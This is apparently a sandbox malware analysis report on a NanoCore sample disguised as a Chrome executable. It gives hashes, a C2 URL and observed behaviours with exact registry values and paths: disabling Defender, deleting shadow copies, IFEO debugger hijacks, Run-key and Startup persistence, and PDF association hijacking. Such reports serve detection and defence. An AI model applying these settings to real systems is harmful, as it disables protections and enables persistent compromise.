Analysis
- max time kernel
150s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
04/08/2026, 14:02
Behavioral task
behavioral1
Sample
luckychip.io_chrome.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
47 signatures
150 seconds
Behavioral task
behavioral2
Sample
luckychip.io_chrome.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
44 signatures
150 seconds
General
- Target luckychip.io_chrome.exe
- Size 48KB
- Sample260804-rb4c7ascnc
- SHA256 90f1a8ad4853ef3c1cf75d84a0d58e5804f0c60235a4692927e9d9583dc0280c
- MD5 a97fbf2606035ba4274616d0ce1ec4b9
- SHA1 6aae02186dc9930ee7a4645d5c615099ecfe863c
- SHA512 c49461632d90a7039837e7cefbe34e4a4a74f936a3a632aececccfcb0df88e0480c67ca0dd02312ed729388ced693a0d2f5aa88842a98edabdc73a8d044b0efb
- SSDEEP 768:IhHDTj5D++kqzyYj1g+4B//o4zC1XXGblfA0qKFcO:sHL5DISTxgnBI4zEXGblf9qucO
- TLSH T15723E60437F98511E1FF5ABA8DB196019B31B497AC23D78E07D5058E1AB3B40CEA8B77
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Family
-
nanocore
Version
-
1.2.2.0
C2
-
http://luckychip.io
Mutex
-
ac7e2f05-8df7-4c55-8841-78385f6bb064
Attributes
-
c2_url
http://luckychip.io
-
default_group
xoilac
-
primary_dns
ali.ns.cloudflare.com
-
secondary_dns
woz.ns.cloudflare.com
-
version
1.2.2.0
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/2576-0-0x0000000000AE0000-0x0000000000AF2000-memory.dmp disable_win_def behavioral1/files/0x00070000000248a3-2363.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" luckychip.io_chrome.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" luckychip.io_chrome.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3172 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" luckychip.io_chrome.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts luckychip.io_chrome.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe luckychip.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\luckychip.io_chrome.exe" luckychip.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe luckychip.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\luckychip.io_chrome.exe" luckychip.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe luckychip.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\luckychip.io_chrome.exe" luckychip.io_chrome.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 296 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\International\Geo\Nation luckychip.io_chrome.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf luckychip.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf luckychip.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf luckychip.io_chrome.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\luckychip.io_chrome.exe" luckychip.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\luckychip.io_chrome.exe" luckychip.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\luckychip.io_chrome.exe" luckychip.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\luckychip.io_chrome.exe" luckychip.io_chrome.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 5288 tasklist.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe luckychip.io_chrome.exe File created C:\Windows\system32\sysupdate.exe luckychip.io_chrome.exe File opened for modification C:\Windows\system32\sysupdate.exe luckychip.io_chrome.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 5920 wscript.exe 3156 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" luckychip.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" luckychip.io_chrome.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2404 sc.exe 4048 sc.exe 220 sc.exe 3356 sc.exe 2416 sc.exe 4864 sc.exe 3128 sc.exe 1044 sc.exe 1772 sc.exe 4368 sc.exe 4912 sc.exe 3304 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 6120 cmd.exe 6104 cmd.exe 6080 cmd.exe 6004 cmd.exe 3616 cmd.exe 1376 cmd.exe 6136 cmd.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 4680 chrome.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 4904 NETSTAT.EXE 3940 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 5248 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 460 vssadmin.exe 636 vssadmin.exe 6024 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\Desktop\WallpaperStyle = "2" luckychip.io_chrome.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134303257471794005" chrome.exe - Modifies registry class 17 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open luckychip.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open\command\DelegateExecute luckychip.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings luckychip.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe Key created \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open\command luckychip.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\.pdf\ = "PDFBotnet" luckychip.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet luckychip.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command luckychip.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell luckychip.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\luckychip.io_chrome.exe" luckychip.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell luckychip.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell luckychip.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open luckychip.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\luckychip.io_chrome.exe\" \"%1\"" luckychip.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open\command luckychip.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open luckychip.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings luckychip.io_chrome.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5152 schtasks.exe 408 schtasks.exe 4772 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4440 chrome.exe 4440 chrome.exe 3172 powershell.exe 3172 powershell.exe 3172 powershell.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe 2576 luckychip.io_chrome.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2576 luckychip.io_chrome.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4440 chrome.exe Token: SeCreatePagefilePrivilege 4440 chrome.exe Token: SeShutdownPrivilege 4440 chrome.exe Token: SeCreatePagefilePrivilege 4440 chrome.exe Token: SeDebugPrivilege 3172 powershell.exe Token: SeIncreaseQuotaPrivilege 3092 WMIC.exe Token: SeSecurityPrivilege 3092 WMIC.exe Token: SeTakeOwnershipPrivilege 3092 WMIC.exe Token: SeLoadDriverPrivilege 3092 WMIC.exe Token: SeSystemProfilePrivilege 3092 WMIC.exe Token: SeSystemtimePrivilege 3092 WMIC.exe Token: SeProfSingleProcessPrivilege 3092 WMIC.exe Token: SeIncBasePriorityPrivilege 3092 WMIC.exe Token: SeCreatePagefilePrivilege 3092 WMIC.exe Token: SeBackupPrivilege 3092 WMIC.exe Token: SeRestorePrivilege 3092 WMIC.exe Token: SeShutdownPrivilege 3092 WMIC.exe Token: SeDebugPrivilege 3092 WMIC.exe Token: SeSystemEnvironmentPrivilege 3092 WMIC.exe Token: SeRemoteShutdownPrivilege 3092 WMIC.exe Token: SeUndockPrivilege 3092 WMIC.exe Token: SeManageVolumePrivilege 3092 WMIC.exe Token: 33 3092 WMIC.exe Token: 34 3092 WMIC.exe Token: 35 3092 WMIC.exe Token: 36 3092 WMIC.exe Token: SeShutdownPrivilege 4440 chrome.exe Token: SeCreatePagefilePrivilege 4440 chrome.exe Token: SeBackupPrivilege 644 vssvc.exe Token: SeRestorePrivilege 644 vssvc.exe Token: SeAuditPrivilege 644 vssvc.exe Token: SeIncreaseQuotaPrivilege 3092 WMIC.exe Token: SeSecurityPrivilege 3092 WMIC.exe Token: SeTakeOwnershipPrivilege 3092 WMIC.exe Token: SeLoadDriverPrivilege 3092 WMIC.exe Token: SeSystemProfilePrivilege 3092 WMIC.exe Token: SeSystemtimePrivilege 3092 WMIC.exe Token: SeProfSingleProcessPrivilege 3092 WMIC.exe Token: SeIncBasePriorityPrivilege 3092 WMIC.exe Token: SeCreatePagefilePrivilege 3092 WMIC.exe Token: SeBackupPrivilege 3092 WMIC.exe Token: SeRestorePrivilege 3092 WMIC.exe Token: SeShutdownPrivilege 3092 WMIC.exe Token: SeDebugPrivilege 3092 WMIC.exe Token: SeSystemEnvironmentPrivilege 3092 WMIC.exe Token: SeRemoteShutdownPrivilege 3092 WMIC.exe Token: SeUndockPrivilege 3092 WMIC.exe Token: SeManageVolumePrivilege 3092 WMIC.exe Token: 33 3092 WMIC.exe Token: 34 3092 WMIC.exe Token: 35 3092 WMIC.exe Token: 36 3092 WMIC.exe Token: SeShutdownPrivilege 4440 chrome.exe Token: SeCreatePagefilePrivilege 4440 chrome.exe Token: SeShutdownPrivilege 4440 chrome.exe Token: SeCreatePagefilePrivilege 4440 chrome.exe Token: SeDebugPrivilege 2576 luckychip.io_chrome.exe Token: SeShutdownPrivilege 4440 chrome.exe Token: SeCreatePagefilePrivilege 4440 chrome.exe Token: SeShutdownPrivilege 4440 chrome.exe Token: SeCreatePagefilePrivilege 4440 chrome.exe Token: SeShutdownPrivilege 4440 chrome.exe Token: SeCreatePagefilePrivilege 4440 chrome.exe Token: SeShutdownPrivilege 4440 chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe - Suspicious use of SendNotifyMessage 32 IoCs
pid Process 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe 4440 chrome.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2576 luckychip.io_chrome.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2576 wrote to memory of 4440 2576 luckychip.io_chrome.exe 84 PID 4440 wrote to memory of 4716 4440 chrome.exe 85 PID 2576 wrote to memory of 3172 2576 luckychip.io_chrome.exe 86 PID 2576 wrote to memory of 220 2576 luckychip.io_chrome.exe 87 PID 2576 wrote to memory of 3356 2576 luckychip.io_chrome.exe 89 PID 2576 wrote to memory of 4368 2576 luckychip.io_chrome.exe 91 PID 2576 wrote to memory of 2416 2576 luckychip.io_chrome.exe 94 PID 2576 wrote to memory of 4864 2576 luckychip.io_chrome.exe 96 PID 2576 wrote to memory of 3128 2576 luckychip.io_chrome.exe 98 PID 2576 wrote to memory of 4912 2576 luckychip.io_chrome.exe 100 PID 2576 wrote to memory of 1044 2576 luckychip.io_chrome.exe 102 PID 2576 wrote to memory of 4840 2576 luckychip.io_chrome.exe 104 PID 2576 wrote to memory of 3304 2576 luckychip.io_chrome.exe 105 PID 2576 wrote to memory of 1772 2576 luckychip.io_chrome.exe 107 PID 2576 wrote to memory of 636 2576 luckychip.io_chrome.exe 164 PID 4440 wrote to memory of 3844 4440 chrome.exe 111 PID 4440 wrote to memory of 3844 4440 chrome.exe 111 PID 2576 wrote to memory of 3092 2576 luckychip.io_chrome.exe 112 PID 4440 wrote to memory of 4680 4440 chrome.exe 113 PID 4440 wrote to memory of 3152 4440 chrome.exe 114 PID 4440 wrote to memory of 3152 4440 chrome.exe 114 PID 4440 wrote to memory of 2896 